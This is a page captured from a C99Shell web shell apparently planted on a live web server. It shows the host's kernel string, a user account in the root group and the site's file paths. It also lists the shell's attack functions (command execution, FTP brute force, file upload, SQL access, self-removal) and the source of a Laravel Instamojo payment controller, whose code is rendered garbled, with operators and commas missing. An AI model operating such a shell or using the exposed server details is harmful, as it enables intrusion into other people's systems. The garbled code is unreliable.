!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Http/Controllers/Payment/   drwxr-xr-x
Free 28.35 GB of 117.98 GB (24.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     InstamojoController.php (3.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Payment;

use 
App\Http\Controllers\Controller;
use 
App\Http\Traits\PaymentTrait;
use 
Illuminate\Http\Request;

class 
InstamojoController extends Controller
{
    use 
PaymentTrait;

    public function 
pay(Request $request)
    {
        
$plan session('plan');
        
$converted_amount currencyConversion($plan->price);
        
$amount currencyConversion($plan->pricenull'INR'1);

        
session(['order_payment' => [
            
'payment_provider' => 'instamojo',
            
'amount' => $amount,
            
'currency_symbol' => '₹',
            
'usd_amount' => $converted_amount,
        ]]);

        
$ch curl_init();

        
curl_setopt($chCURLOPT_URL'https://test.instamojo.com/api/1.1/payment-requests/');
        
curl_setopt($chCURLOPT_HEADERfalse);
        
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
        
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
        
curl_setopt(
            
$ch,
            
CURLOPT_HTTPHEADER,
            [
                
'X-Api-Key:'.config('templatecookie.im_key'),
                
'X-Auth-Token:'.config('templatecookie.im_secret'),
            ]
        );
        
$payload = [
            
'purpose' => 'Payment for the plan you bought',
            
'amount' => $amount,
            
'phone' => '9888888888',
            
'buyer_name' => auth('user')->user()->name,
            
'redirect_url' => route('instamojo.success'),
            
'send_email' => true,
            
'webhook' => 'http://www.example.com/webhook/',
            
'send_sms' => true,
            
'email' => auth('user')->user()->email,
            
'allow_repeated_payments' => false,
        ];
        
curl_setopt($chCURLOPT_POSTtrue);
        
curl_setopt($chCURLOPT_POSTFIELDShttp_build_query($payload));
        
$response curl_exec($ch);
        
curl_close($ch);
        
$response json_decode($response);

        return 
redirect($response->payment_request->longurl);
    }

    public function 
success(Request $request)
    {
        
$input $request->all();

        
$ch curl_init();

        
curl_setopt($chCURLOPT_URL'https://test.instamojo.com/api/1.1/payments/'.$request->get('payment_id'));
        
curl_setopt($chCURLOPT_HEADERfalse);
        
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
        
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
        
curl_setopt(
            
$ch,
            
CURLOPT_HTTPHEADER,
            [
                
'X-Api-Key:'.config('templatecookie.im_key'),
                
'X-Auth-Token:'.config('templatecookie.im_secret'),
            ]
        );

        
$response curl_exec($ch);
        
$err curl_error($ch);
        
curl_close($ch);

        if (
$err) {
            return 
back()->with('error''Payment was failed');
        } else {
            
$data json_decode($response);
        }

        if (
$data->success == true) {
            if (
$data->payment->status == 'Credit') {

                
// Here Your Database Insert Login
                
session(['transaction_id' => $request->get('payment_id') ?? null]);

                
// Here Your Database Insert Login
                
$this->orderPlacing();
            } else {
                
\Session::put('error''Payment Failed, Try Again!!');

                return 
redirect()->route('payment');
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--